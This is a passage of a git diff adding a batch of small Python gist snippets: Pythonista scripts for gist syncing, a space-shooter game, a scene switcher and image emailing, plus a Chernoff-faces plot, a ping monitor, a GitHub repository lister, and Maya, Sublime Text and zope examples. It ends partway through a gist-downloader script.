+from pylab import *
+
+def cface(ax, x1,x2,x3,x4,x5,x6,x7,x8,x9,x10,x11,x12,x13,x14,x15,x16,x17,x18):
+    # x1 = height  of upper face
+    # x2 = overlap of lower face
+    # x3 = half of vertical size of face
+    # x4 = width of upper face
+    # x5 = width of lower face
+    # x6 = length of nose
+    # x7 = vertical position of mouth
+    # x8 = curvature of mouth
+    # x9 = width of mouth
+    # x10 = vertical position of eyes
+    # x11 = separation of eyes
+    # x12 = slant of eyes
+    # x13 = eccentricity of eyes
+    # x14 = size of eyes
+    # x15 = position of pupils
+    # x16 = vertical position of eyebrows
+    # x17 = slant of eyebrows
+    # x18 = size of eyebrows
+    
+    # transform some values so that input between 0,1 yields variety of output
+    x3 = 1.9*(x3-.5)
+    x4 = (x4+.25)
+    x5 = (x5+.2)
+    x6 = .3*(x6+.01)
+    x8 = 5*(x8+.001)
+    x11 /= 5
+    x12 = 2*(x12-.5)
+    x13 += .05
+    x14 += .1
+    x15 = .5*(x15-.5)
+    x16 = .25*x16
+    x17 = .5*(x17-.5)
+    x18 = .5*(x18+.1)
+
+    # top of face, in box with l=-x4, r=x4, t=x1, b=x3
+    e = mpl.patches.Ellipse( (0,(x1+x3)/2), 2*x4, (x1-x3), fc='white', linewidth=2)
+    ax.add_artist(e)
+
+    # bottom of face, in box with l=-x5, r=x5, b=-x1, t=x2+x3
+    e = mpl.patches.Ellipse( (0,(-x1+x2+x3)/2), 2*x5, (x1+x2+x3), fc='white', linewidth=2)
+    ax.add_artist(e)
+
+    # cover overlaps
+    e = mpl.patches.Ellipse( (0,(x1+x3)/2), 2*x4, (x1-x3), fc='white', ec='none')
+    ax.add_artist(e)
+    e = mpl.patches.Ellipse( (0,(-x1+x2+x3)/2), 2*x5, (x1+x2+x3), fc='white', ec='none')
+    ax.add_artist(e)
+    
+    # draw nose
+    plot([0,0], [-x6/2, x6/2], 'k')
+    
+    # draw mouth
+    p = mpl.patches.Arc( (0,-x7+.5/x8), 1/x8, 1/x8, theta1=270-180/pi*arctan(x8*x9), theta2=270+180/pi*arctan(x8*x9))
+    ax.add_artist(p)
+    
+    # draw eyes
+    p = mpl.patches.Ellipse( (-x11-x14/2,x10), x14, x13*x14, angle=-180/pi*x12, facecolor='white')
+    ax.add_artist(p)
+    
+    p = mpl.patches.Ellipse( (x11+x14/2,x10), x14, x13*x14, angle=180/pi*x12, facecolor='white')
+    ax.add_artist(p)
+
+    # draw pupils
+    p = mpl.patches.Ellipse( (-x11-x14/2-x15*x14/2, x10), .05, .05, facecolor='black')
+    ax.add_artist(p)
+    p = mpl.patches.Ellipse( (x11+x14/2-x15*x14/2, x10), .05, .05, facecolor='black')
+    ax.add_artist(p)
+    
+    # draw eyebrows
+    plot([-x11-x14/2-x14*x18/2,-x11-x14/2+x14*x18/2],[x10+x13*x14*(x16+x17),x10+x13*x14*(x16-x17)],'k')
+    plot([x11+x14/2+x14*x18/2,x11+x14/2-x14*x18/2],[x10+x13*x14*(x16+x17),x10+x13*x14*(x16-x17)],'k')
+
+fig = figure(figsize=(11,11))
+for i in range(25):
+    ax = fig.add_subplot(5,5,i+1,aspect='equal')
+    cface(ax, .9, *rand(17))
+    ax.axis([-1.2,1.2,-1.2,1.2])
+    ax.set_xticks([])
+    ax.set_yticks([])
+
+fig.subplots_adjust(hspace=0, wspace=0)
diff --git a/hard-gists/4043334/._snippet.py b/hard-gists/4043334/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4043334/._snippet.py differ
diff --git a/hard-gists/4043334/snippet.py b/hard-gists/4043334/snippet.py
new file mode 100644
index 00000000..fa5c0b47
--- /dev/null
+++ b/hard-gists/4043334/snippet.py
@@ -0,0 +1,118 @@
+import base64
+import console
+import editor
+import json
+import keychain
+import os.path
+import pickle
+import re
+import urllib2
+
+#Perform authorization
+def auth(username, password):
+    data='{"scopes":["gist"],"note":"gistcheck"}'
+    request = urllib2.Request("https://api.github.com/authorizations",data)
+    enc = base64.standard_b64encode('%s:%s' % (username, password))
+    request.add_header("Authorization", "Basic %s" % enc)   
+    result = urllib2.urlopen(request)
+    rdata = result.read()
+    result.close()
+    return rdata
+    
+def edit(gist, files, token, message=None):
+    reqdict = {"files":{}}
+    if message is not None: reqdict['description']=message
+    for f, c in files.items():
+        reqdict['files'][f] = {"content":c}
+    request = urllib2.Request("https://api.github.com/gists/%s" % gist,json.dumps(reqdict))
+    request.add_header("Authorization", "token %s" % token)
+    request.add_header('Content-Type','application/json')
+    try:
+        result = urllib2.urlopen(request)
+        rdata = result.read()
+        result.close()
+        return rdata
+    except Exception, e:
+        print e
+    return None
+    
+def get_gist_id(fname):
+	if os.path.exists('gistcheck.db'):
+		dbfile = open('gistcheck.db','r')
+		db = pickle.load(dbfile)
+		dbfile.close()
+		return db.get(fname,None)
+	return None
+	
+def set_gist_id(fname, gist):
+	db = {}
+	if os.path.exists('gistcheck.db'):
+		dbfile = open('gistcheck.db','r')
+		db = pickle.load(dbfile)
+		dbfile.close()
+	db[fname]=gist
+	dbfile=open('gistcheck.db','w')
+	pickle.dump(db,dbfile)
+	dbfile.close()
+
+#load a file from a gist		
+def load(gist, fname):
+	request = urllib2.Request("https://api.github.com/gists/%s" % gist)
+	try:
+		result = urllib2.urlopen(request)
+		rdata = json.loads(result.read())
+		result.close()
+		url = rdata['files'][fname]['raw_url']
+		result = urllib2.urlopen(url)
+		rdata = result.read()
+		result.close()
+		return rdata
+	except Exception, e:
+		print e
+	return None
+
+def pull():
+	gist = get_gist_id(editor.get_path())
+	if gist is not None:
+		fname = os.path.basename(editor.get_path())
+		newtxt = load(gist,fname)
+		if newtxt is not None:
+			editor.replace_text(0,len(editor.get_text()),newtxt)
+
+def commit():
+	gist = get_gist_id(editor.get_path())
+	if gist is not None:
+		token = keychain.get_password('gistcheck','gistcheck')
+		if token is None:
+			u, p = console.login_alert('GitHub Login')
+			r = json.loads(auth(u, p))
+			print r
+			token = r['token']
+			keychain.set_password('gistcheck','gistcheck',token)
+		fname = os.path.basename(editor.get_path())
+		m = m= console.input_alert('Edit Description','Enter a new description:','')
+		if m == '': m = None
+		return edit(gist,{fname:editor.get_text()},token,m)
+
+def set():
+	gist = get_gist_id(editor.get_path())
+	if gist == None: gist = ''
+	gist = console.input_alert('Assign Gist ID','Enter the gist id for this file',gist)
+	set_gist_id(editor.get_path(),gist)
+
+def setup():
+	if not os.path.exists('gistcheck_commit.py'):
+		f = open('gistcheck_commit.py','w')
+		f.writelines(['import gistcheck\n','gistcheck.commit()'])
+		f.close()
+	if not os.path.exists('gistcheck_pull.py'):
+		f = open('gistcheck_pull.py','w')
+		f.writelines(['import gistcheck\n','gistcheck.pull()'])
+		f.close()
+	if not os.path.exists('gistcheck_set.py'):
+		f = open('gistcheck_set.py','w')
+		f.writelines(['import gistcheck\n','gistcheck.set()'])
+		f.close()
+
+if __name__ == '__main__':
+	setup()
\ No newline at end of file
diff --git a/hard-gists/4047394/._snippet.py b/hard-gists/4047394/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4047394/._snippet.py differ
diff --git a/hard-gists/4047394/snippet.py b/hard-gists/4047394/snippet.py
new file mode 100644
index 00000000..fe8568b2
--- /dev/null
+++ b/hard-gists/4047394/snippet.py
@@ -0,0 +1,45 @@
+# get this: https://github.com/jedie/python-ping.git
+import os
+import string
+from time import time, sleep
+from ping import Ping
+
+
+class QuietPing(Ping):
+
+    def print_failed(self):
+        raise Exception()
+
+    def print_success(self, delay, ip, packet_size, ip_header, icmp_header):
+        pass
+
+    def print_start(self):
+        pass
+
+hosts = ['google.com', 'jpiworldwide.com']
+
+timeout = 1000            # ms
+min_wait_time = 2000      # ms
+output = []
+# setup our screen
+os.system(['clear', 'cls'][os.name == 'nt'])
+for host in hosts:
+    output.append(string.rjust(host, 15) + " : ...")
+for line in output:
+        print line
+while True:
+    start_time = time()
+    output = []
+    for host in hosts:
+        try:
+            p = QuietPing(host, timeout, 55)
+            delay = p.do()
+            output.append(string.rjust(host, 15) +
+                " : Ok - " + str(int(delay)))
+        except Exception:
+            output.append(string.rjust(host, 15) + " : DOWN!")
+    os.system(['clear', 'cls'][os.name == 'nt'])
+    for line in output:
+        print line
+    elapsed_time = time() - start_time
+    sleep(max((float(min_wait_time) / 1000) - elapsed_time, 0))
diff --git a/hard-gists/4050951/._snippet.py b/hard-gists/4050951/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4050951/._snippet.py differ
diff --git a/hard-gists/4050951/snippet.py b/hard-gists/4050951/snippet.py
new file mode 100644
index 00000000..f1b614ba
--- /dev/null
+++ b/hard-gists/4050951/snippet.py
@@ -0,0 +1,382 @@
+from scene import *
+from random import randint, random, choice
+from sound import play_effect
+from colorsys import hsv_to_rgb
+from math import sin
+from functools import partial
+from copy import copy
+
+class Star (object):
+	def __init__(self):
+		self.x = randint(0, 768)
+		self.y = randint(0, 1024)
+		self.v = random() * 5 + 1
+	def update(self):
+		self.y -= self.v
+
+class StarField (object):
+	def __init__(self, scene, count):
+		self.scene = scene
+		self.stars = []
+		for i in xrange(count):
+			self.stars.append(Star())
+			
+	def update(self):
+		removed_stars = set()
+		for star in self.stars:
+			star.update()
+			if star.y < 0:
+				removed_stars.add(star)
+		for removed_star in removed_stars:
+			self.stars.remove(removed_star)
+			new_star = Star()
+			new_star.y = self.scene.size.h
+			self.stars.append(new_star)
+			
+	def draw(self):
+		background(0, 0.02, 0.1)
+		for star in self.stars:
+			a = (star.v / 5) * 0.7
+			fill(a, a, a)
+			rect(star.x, star.y, 3, 3)
+
+class Player (object):
+	def __init__(self, scene):
+		self.scene = scene
+		self.x = scene.size.w / 2
+		self.dead = False
+	def update(self):
+		gx = gravity().x * 50
+		self.x = min(max(self.x + gx, 20), self.scene.size.w - 20)
+	def draw(self):
+		push_matrix()
+		translate(self.x, 20)
+		rotate(45)
+		image('Rocket', 0, 0, 64, 64)
+		pop_matrix()
+	def bbox(self):
+		return Rect(self.x - 20, 20, 40, 85)
+	
+class Enemy (object):
+	def __init__(self, scene):
+		self.scene = scene
+		self.hit = False
+		self.x = randint(20, 768-20)
+		self.initial_x = self.x
+		self.y = 1024
+		self.a = 1.0
+		self.removed = False
+		self.dead = False
+		r = random()
+		if r < 0.1: 
+			self.size = 128
+			self.color = Color(0, 1, 1)
+			self.points = 500
+			self.energy = 3
+			self.bullet_type = 3
+		elif r < 0.5: 
+			self.size = 96
+			self.color = Color(0, 1, 0)
+			self.points = 250
+			self.energy = 2
+			self.bullet_type = 2
+		else: 
+			self.size = 64
+			self.color = Color(1, 0, 1)
+			self.points = 100
+			self.energy = 1
+			self.bullet_type = 1
+		self.fire_freq = randint(20, 200)
+		self.fire = False
+		self.t = randint(0, self.fire_freq)
+		self.speed = 1.0 / self.size * 500
+		self.amp = random() * 300
+		
+	def update(self, dt):
+		self.y -= self.speed
+		self.x = self.initial_x + sin(self.y / 100) * self.amp
+		self.amp = max(self.amp * 0.99, 0)
+		if self.y < -64:
+			self.removed = True
+		if self.dead:
+			self.a -= 0.1
+			if self.a <= 0:
+				self.removed = True
+		else:
+			self.t += 1
+			if not self.dead and self.t % self.fire_freq == 0:
+				play_effect('Laser_5')
+				if self.bullet_type == 1:
+					bullet = Bullet(self.x, self.y)
+					bullet.vy = -10
+					bullet.bullet_type = 1
+					self.scene.enemy_bullets.append(bullet)
+				elif self.bullet_type == 2:
+					for vx in [-3, 3]:
+						bullet = Bullet(self.x, self.y)
+						bullet.vy = -10
+						bullet.vx = vx
+						bullet.bullet_type = 2
+						self.scene.enemy_bullets.append(bullet)
+				else:
+					for vx in [-3, 0, 3]:
+						bullet = Bullet(self.x, self.y)
+						bullet.vy = -10
+						bullet.vx = vx
+						bullet.bullet_type = 3
+						self.scene.enemy_bullets.append(bullet)
+				
+	def draw(self):
+		if self.hit:
+			tint(1, 0, 0, self.a)
+		else:
+			tint(self.color.r, self.color.g, self.color.b, self.a)
+		image('Alien_Monster', self.x - self.size/2, 
+		 self.y - self.size/2, self.size, self.size)
+		tint(1, 1, 1)
+	
+	def bbox(self):
+		s = self.size
+		return Rect(self.x - s/2 * 0.9, self.y - s/2 * 0.8, s * 0.9, s * 0.8)
+
+class Powerup (object):
+	def __init__(self, scene, powerup_type):
+		self.x = randint(20, 768-20)
+		self.y = scene.size.h + 20
+		self.hue = 0.0
+		self.rot = 0.0
+		self.t = 0.0
+		self.powerup_type = powerup_type
+	def update(self):
+		self.hue += 0.02
+		self.y -= 10
+		self.rot -= 3.0
+		self.t += 0.1
+	def draw(self):
+		if self.powerup_type == 0:
+			s = 50 + sin(self.t) * 10
+			image('Heart', self.x - s/2, self.y - s/2, s, s)
+		else:
+			push_matrix()
+			tint(*hsv_to_rgb(self.hue, 1, 1))
+			translate(self.x, self.y)
+			rotate(self.rot)
+			image('Star_1', -32, -32, 64, 64)
+			tint(1, 1, 1)
+			pop_matrix()
+	def bbox(self):
+		return Rect(self.x - 32, self.y - 32, 64, 64)
+		
+
+class Bullet (object):
+	def __init__(self, x, y):
+		self.x = x
+		self.y = y
+		self.vx = 0
+		self.vy = 0
+		self.bullet_type = 0
+		self.pass_through = False
+		self.hue = 0.0
+	def update(self):
+		self.x += self.vx
+		self.y += self.vy
+		if self.pass_through:
+			self.hue += 0.02
+	def draw(self):
+		if self.pass_through:
+			fill(*hsv_to_rgb(self.hue, 1, 1))
+			ellipse(self.x - 4, self.y - 4, 8, 8)
+		elif self.bullet_type == 0:
+			fill(1, 1, 0)
+			ellipse(self.x - 4, self.y - 4, 8, 8)
+		elif self.bullet_type == 1:
+			fill(1, 0, 1)
+			rect(self.x - 2, self.y - 8, 4, 16)
+		elif self.bullet_type == 2:
+			fill(0, 1, 0)
+			ellipse(self.x - 4, self.y - 4, 8, 8)
+		elif self.bullet_type == 3:
+			fill(0, 1, 1)
+			ellipse(self.x - 4, self.y - 4, 8, 8)
+		
+	def hit_test(self, rect):
+		return Point(self.x, self.y) in rect
+
+class Game (Scene):
+	def setup(self):
+		self.frame_count = 0
+		self.delayed_invocations = []
+		self.frenzy = False
+		self.touch_disabled = False
+		self.star_field = StarField(self, 30)
+		self.player = Player(self)
+		self.energy = 100
+		self.score = 0
+		self.player.dead = False
+		self.stars = []
+		self.bullets = []
+		self.enemies = []
+		self.powerups = []
+		self.enemy_bullets = []
+		self.shot_fired = False
+		self.effects_layer = Layer(Rect(0, 0, self.size.w, self.size.h))
+		self.spawn()
+	
+	def spawn(self):
+		self.enemies.append(Enemy(self))
+		self.delay(random() + 0.5, self.spawn)
+		if random() < 0.05:
+			powerup = Powerup(self, choice([0, 1]))
+			self.powerups.append(powerup)
+	
+	def draw(self):
+		self.shot_fired = False
+		self.star_field.update()
+		self.star_field.draw()
+		
+		removed_bullets = set()
+		removed_enemy_bullets = set()
+		removed_enemies = set()
+		
+		fill(1, 1, 0)
+		for bullet in self.bullets:
+			bullet.update()
+			bullet.draw()
+			if bullet.y > 1024:
+				removed_bullets.add(bullet)
+		
+		player_rect = self.player.bbox()
+		fill(1, 0, 1)
+		for bullet in self.enemy_bullets:
+			bullet.update()
+			bullet.draw()
+			if bullet.y < -4:
+				removed_enemy_bullets.add(bullet)
+			elif not self.player.dead and bullet.hit_test(player_rect):
+				removed_enemy_bullets.add(bullet)
+				self.energy -= 10
+				play_effect('Explosion_6')
+		
+		for enemy in self.enemies:
+			enemy.update(self.dt)
+			enemy.draw()
+			enemy_rect = enemy.bbox()
+			if not enemy.dead:
+				for bullet in self.bullets:
+					if bullet.hit_test(enemy_rect):
+						removed_bullets.add(bullet)
+						enemy.energy -= 1
+						enemy.hit = True
+						self.delay(0.1, partial(enemy.__setattr__, 'hit', False))
+						if enemy.energy <= 0:
+							enemy.dead = True
+							self.explosion(enemy)
+							self.score += enemy.points
+							play_effect('Explosion_4')
+						else:
+							play_effect('Explosion_5')
+				if not self.player.dead and player_rect.intersects(enemy_rect):
+					play_effect('Explosion_6')
+					enemy.dead = True
+					self.explosion(enemy)
+					self.energy -= 10
+			if enemy.removed:
+				removed_enemies.add(enemy)
+		
+		removed_powerups = set()
+		for powerup in self.powerups:
+			powerup.update()
+			powerup.draw()
+			if player_rect.intersects(powerup.bbox()):
+				if powerup.powerup_type == 0:
+					play_effect('Coin_2')
+					self.energy = min(100, self.energy + 20)
+				else:
+					play_effect('Powerup_3')
+					self.frenzy = True
+					self.delay(5.0, partial(self.__setattr__, 'frenzy', False))
+				removed_powerups.add(powerup)
+			elif powerup.y < -32:
+				removed_powerups.add(powerup)
+				
+				
+		map(self.powerups.remove, removed_powerups)
+		map(self.enemies.remove, removed_enemies)
+		map(self.bullets.remove, removed_bullets)
+		map(self.enemy_bullets.remove, removed_enemy_bullets)
+		
+		if not self.player.dead and self.energy <= 0:
+			self.game_over()
+			
+		if not self.player.dead:
+			self.player.update()
+			self.player.draw()
+		self.draw_status_bar()
+		self.effects_layer.update(self.dt)
+		self.effects_layer.draw()
+		tint(1, 1, 1)
+		
+		self.frame_count += 1
+		if not self.player.dead and len(self.touches) > 0:
+			if self.frame_count % 12 == 0:
+				self.fire()
+	
+	def game_over(self):			
+		self.player.dead = True
+		self.touch_disabled = True
+		play_effect('Laser_4')
+		t = TextLayer('Game Over', 'Futura', 100)
+		t.frame.center(self.bounds.center())
+		self.delay(2.0, partial(self.__setattr__, 'touch_disabled', False))
+		t.scale_x, t.scale_y = 0.0, 0.0
+		t.animate('scale_x', 1.0, 1.0, curve=curve_bounce_out)
+		t.animate('scale_y', 1.0, 1.0, curve=curve_bounce_out)
+		self.effects_layer.add_layer(t)
+	
+	def touch_began(self, touch):
+		if self.player.dead and not self.touch_disabled:
+			play_effect('Powerup_1')
+			self.setup()
+			return
+		elif not self.player.dead:
+			self.frame_count = 0
+			self.fire()
+	
+	def fire(self):
+		if self.shot_fired: return
+		if self.frenzy:
+			for vx in [-3, 0, 3]:
+				bullet = Bullet(self.player.x, 110)
+				bullet.vy = 15
+				bullet.vx = vx
+				bullet.pass_through = True
+				self.bullets.append(bullet)
+		else:
+			bullet = Bullet(self.player.x, 110)
+			bullet.vy = 15
+			self.bullets.append(bullet)
+		play_effect('Laser_6')
+		self.shot_fired = True
+		
+	def draw_status_bar(self):
+		hue = (self.energy / 100.0) * 0.35 + 1.0
+		r, g, b = hsv_to_rgb(hue, 1, 1)
+		fill(r, g, b)
+		rect(0, self.size.h - 5, self.energy / 100.0 * self.size.w, 5)
+		text(str(self.score), 'Futura', 40,
+		 self.size.w / 2, self.size.h - 60)
+
+	def explosion(self, enemy):
+		for i in xrange(int(enemy.size / 6)):
+			s = enemy.size / 5
+			l = Layer(Rect(enemy.x - s/2, enemy.y - s/2, s, s))
+			l.background = enemy.color
+								
+			l.animate('frame', Rect(enemy.x + randint(-100, 100),
+								 enemy.y + randint(-100, 100), 
+								 s/3, s/3), curve=curve_ease_out)
+			l.animate('alpha', 0.0, 0.5, completion=l.remove_layer)
+			self.effects_layer.add_layer(l)
+
+
+run(Game(), PORTRAIT)
diff --git a/hard-gists/4051357/._snippet.py b/hard-gists/4051357/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4051357/._snippet.py differ
diff --git a/hard-gists/4051357/snippet.py b/hard-gists/4051357/snippet.py
new file mode 100644
index 00000000..c086ca8e
--- /dev/null
+++ b/hard-gists/4051357/snippet.py
@@ -0,0 +1,38 @@
+import console
+import keychain
+import traceback
+from github import Github
+
+def printRepository(username):
+	g = Github(username, getGithubPassword(username))
+
+	user = g.get_user()
+	repositories = user.get_repos()
+
+	for repository in repositories:
+		print repository.name
+		printBranches(repository)
+
+def printBranches(repository):
+	for branch in repository.get_branches():
+		print '  ', branch.name
+		tree = branch.commit.commit.tree
+		printTree(repository, tree, '    ')
+
+def printTree(repository, tree, indent):
+	for element in tree.tree:
+		print indent, element.path
+		if element.type == 'tree':
+			printTree(repository, repository.get_git_tree(element.sha), indent + '  ')
+
+def getGithubPassword(username):
+	service = 'github'
+	password = keychain.get_password(service, username)
+	if password == None:
+		print "Enter password for user", username
+		password = console.secure_input()
+		keychain.set_password(service, username, password)
+	return password
+
+# Pass your Github username as a parameter
+printRepository('your_github_username')
\ No newline at end of file
diff --git a/hard-gists/4058325/._snippet.py b/hard-gists/4058325/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4058325/._snippet.py differ
diff --git a/hard-gists/4058325/snippet.py b/hard-gists/4058325/snippet.py
new file mode 100644
index 00000000..3b21b2c8
--- /dev/null
+++ b/hard-gists/4058325/snippet.py
@@ -0,0 +1,14 @@
+import pymel.core as pm
+import maya.cmds as cmds
+
+
+cmds.hyperShade(o="lambert1")
+
+cmds.ConvertSelectionToVertices()
+
+#shrink selected region to avoid border verticies
+cmds.ShrinkPolygonSelectionRegion()
+
+
+#list selected verticies, sl for selected, fl for ungrouped
+print pm.ls(sl=True,fl=True,l=True)
diff --git a/hard-gists/4059061/._snippet.py b/hard-gists/4059061/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4059061/._snippet.py differ
diff --git a/hard-gists/4059061/snippet.py b/hard-gists/4059061/snippet.py
new file mode 100644
index 00000000..aefc1243
--- /dev/null
+++ b/hard-gists/4059061/snippet.py
@@ -0,0 +1,45 @@
+# Quick-and-dirty demo of how to run multiple scenes
+# in Pythonista; The MultiScene class is basically a
+# wrapper for another scene and forwards all events
+# to the currently-active scene, which can be changed
+# with the switch_scene method.
+# 
+# In this example, the first scene simply draws a red
+# background and switches to the second scene when a
+# touch is detected. The second scene draws a green
+# background and plays a beep sound on touch.
+
+from scene import *
+import sound
+
+class MultiScene (Scene):
+	def __init__(self, start_scene):
+		self.active_scene = start_scene
+	def switch_scene(self, new_scene):
+		self.active_scene = new_scene
+		new_scene.setup()
+	def draw(self):
+		self.active_scene.draw()
+	def touch_began(self, touch):
+		self.active_scene.touch_began(touch)
+	def touch_moved(self, touch):
+		self.active_scene.touch_moved(touch)
+	def touch_ended(self, touch):
+		self.active_scene.touch_ended(touch)
+
+class Scene1 (Scene):
+	def draw(self):
+		background(1, 0, 0)
+	def touch_began(self, touch):
+		# Switch to Scene2:
+		main_scene.switch_scene(Scene2())
+
+class Scene2 (Scene):
+	def draw(self):
+		background(0, 1, 0)
+	def touch_began(self, touch):
+		sound.play_effect('Beep')
+
+# Start with Scene1:
+main_scene = MultiScene(Scene1())
+run(main_scene)
diff --git a/hard-gists/4070026/._snippet.py b/hard-gists/4070026/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4070026/._snippet.py differ
diff --git a/hard-gists/4070026/snippet.py b/hard-gists/4070026/snippet.py
new file mode 100644
index 00000000..683db9a3
--- /dev/null
+++ b/hard-gists/4070026/snippet.py
@@ -0,0 +1,16 @@
+import subprocess
+import sublime, sublime_plugin
+import re
+
+# RailsCopyMigrationVersion
+# ========
+# 
+# A Sublime Text 2 plugin that provides `copy_migration_version` command to copy migration version of current migration file.
+#
+class CopyMigrationVersionCommand(sublime_plugin.TextCommand):
+    def run(self, edit):
+        match = re.search('\d{14}', self.view.file_name())
+        if match:
+            version = match.group()
+            sublime.set_clipboard(version)
+            sublime.status_message("copied: %s" % version)
\ No newline at end of file
diff --git a/hard-gists/4073599/._snippet.py b/hard-gists/4073599/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4073599/._snippet.py differ
diff --git a/hard-gists/4073599/snippet.py b/hard-gists/4073599/snippet.py
new file mode 100644
index 00000000..817399ea
--- /dev/null
+++ b/hard-gists/4073599/snippet.py
@@ -0,0 +1,58 @@
+# Example for sending an email with an attached image using smtplib
+# 
+# IMPORTANT: You need to enter your email login in the main() function.
+#            The example is prepared for GMail, but other providers
+#            should be possible by changing the mail server.
+
+import smtplib
+from email.mime.base import MIMEBase
+from email.mime.multipart import MIMEMultipart
+from email import encoders
+import Image
+from io import BytesIO
+
+def get_attachment(img):
+	bytes = BytesIO()
+	img.save(bytes, format='JPEG')
+	msg = MIMEBase('image', 'jpeg')
+	msg.set_payload(bytes.getvalue())
+	encoders.encode_base64(msg)
+	msg.add_header('Content-Disposition', 'attachment',
+	               filename='image.jpeg')
+	return msg
+
+def main():
+	### CHANGE THESE VALUES:
+	to = 'example@example.com'
+	subject = 'Image from Pythonista'
+	gmail_user = 'YOUR_GMAIL_ADDRESS'
+	gmail_pwd = 'YOUR_PASSWORD'
+	
+	#Load a sample image, modify as needed:
+	image = Image.open('Test_Lenna')
+	
+	print 'Connecting...'
+	smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
+	
+	smtpserver.ehlo()
+	smtpserver.starttls()
+	smtpserver.ehlo
+	smtpserver.login(gmail_user, gmail_pwd)
+	
+	print 'Preparing message...'
+	outer = MIMEMultipart()
+	outer['Subject'] = subject
+	outer['To'] = to
+	outer['From'] = gmail_user
+	outer.preamble = 'You will not see this in a MIME-aware email reader.\n'
+	attachment = get_attachment(image)
+	outer.attach(attachment)
+	composed = outer.as_string()
+	
+	print 'Sending...'
+	smtpserver.sendmail(gmail_user, to, composed)
+	smtpserver.close()
+	print 'Done.'
+
+if __name__ == '__main__':
+	main()
diff --git a/hard-gists/4074260/._snippet.py b/hard-gists/4074260/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4074260/._snippet.py differ
diff --git a/hard-gists/4074260/snippet.py b/hard-gists/4074260/snippet.py
new file mode 100644
index 00000000..da2cf0ca
--- /dev/null
+++ b/hard-gists/4074260/snippet.py
@@ -0,0 +1,104 @@
+from zope.interface import Interface, Attribute, implements
+from zope.component import getGlobalSiteManager, adapts
+
+
+# here is what our data looks like
+
+class IKey(Interface):
+    pass
+
+class IEntity(Interface):
+    key = Attribute("""The key by which this IEntity can be addressed""")
+    value = Attribute("""A bytearray of data accessible by the key""")
+
+# and some concrete implementations of the data interface
+
+class Key(str):
+    implements(IKey)
+
+class Entity(object):
+    implements(IEntity)
+
+    def __init__(self, key, value):
+        self.key = key
+        self.value = value
+
+# here are some ways in which the above data can be manipulated
+
+class IDatabase(Interface):
+    def put(self, key, value):
+        """Write a value to the database accessible later by key"""
+
+    def get(self, key):
+        """Retrieve a value from the database"""
+
+class IWriter(Interface):
+    def write(self):
+        """Write an Entity to the database"""
+
+class IReader(Interface):
+    def read(self):
+        """Read an entity from the database"""
+
+# and here are some concrete implementations of data manipulation
+
+site = getGlobalSiteManager()
+storage = {}
+
+class InMemoryDatabase(object):
+    implements(IDatabase)
+    def __init__(self):
+        self.storage = storage
+
+    def put(self, key, value):
+        self.storage[key] = value
+
+    def get(self, key):
+        return self.storage[key]
+
+
+site.registerUtility(InMemoryDatabase, IDatabase, 'db:inMem')
+
+# set our database to db:inMem by default (configuration post to come)
+DB_FACTORY = 'db:inMem'
+
+class EntityWriter(object):
+    implements(IWriter)
+    adapts(IEntity)
+
+    def __init__(self, entity):
+        self.entity = entity
+
+    def write(self):
+        db = site.getUtility(IDatabase, DB_FACTORY)()
+        db.put(self.entity.key, self.entity.value)
+
+
+class EntityReader(object):
+    implements(IReader)
+    adapts(IKey)
+
+    def __init__(self, key):
+        self.key = key
+
+    def read(self):
+        db = site.getUtility(IDatabase, DB_FACTORY)()
+        val = db.get(self.key)
+        return Entity(self.key, val)
+
+site.registerAdapter(EntityWriter)
+site.registerAdapter(EntityReader)
+
+## ACTUAL TESTS!
+
+from zope.component import getAdapter
+
+# write an entity
+entity = Entity('thekey', 'thevalue')
+getAdapter(entity, IWriter).write()
+
+## read an entity
+key = Key('thekey')
+entity = getAdapter(key, IReader).read()
+
+print "Entity is:", entity
\ No newline at end of file
diff --git a/hard-gists/4076735/._snippet.py b/hard-gists/4076735/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4076735/._snippet.py differ
diff --git a/hard-gists/4076735/snippet.py b/hard-gists/4076735/snippet.py
new file mode 100644
index 00000000..a63f771a
--- /dev/null
+++ b/hard-gists/4076735/snippet.py
@@ -0,0 +1,98 @@
+### Based on: https://gist.github.com/b0644f5ed1d94bd32805
+### This version strips unicode characters from the downloaded script
+### to work around the currently limited unicode support of the editor
+### module.
+
+# This script downloads and opens a Gist from a URL in the clipboard.
+# It's meant to be put in the editor's actions menu.
+#
+# It works with "raw" and "web" gist URLs, but not with gists that
+# contain multiple files or non-Python files.
+# 
+# If a file already exists, a dialog is shown that asks whether the
+# new file should be renamed automatically.
+
+import clipboard
+import editor
+import console
+import re
+import os
+
+class InvalidGistURLError (Exception): pass
+class MultipleFilesInGistError (Exception): pass
+class NoFilesInGistError (Exception): pass
+class GistDownloadError (Exception): pass
+
+def download_gist(gist_url):
+	# Returns a 2-tuple of filename and content
+	# console.show_activity()
+	raw_match = re.match('http(s?)://raw.github.com/gist/', gist_url)
+	if raw_match:
+		import requests
+		from urlparse import urlparse
+		filename = os.path.split(urlparse(gist_url).path)[1]
+		try:
+			r = requests.get(gist_url)
+			content = r.text
+			return filename, content
+		except:
+			raise GistDownloadError()
+	else:
+		gist_id_match = re.match('http(s?)://gist.github.com/([0-9a-f]*)', gist_url)
+		if gist_id_match:
+			import requests
+			gist_id = gist_id_match.group(2)
+			json_url = 'https://api.github.com/gists/' + gist_id
+			try:
+				import json
+				gist_json = requests.get(json_url).text
+				gist_info = json.loads(gist_json)
+				files = gist_info['files']
+			except:
+				raise GistDownloadError()
+			py_files = []
+			for file_info in files.values():
+				lang =  file_info.get('language', None)
+				if lang != 'Python':
+					continue 
+				py_files.append(file_info)
+			if len(py_files) > 1:
+				raise MultipleFilesInGistError()
+			elif len(py_files) == 0:
+				raise NoFilesInGistError()
+			else:
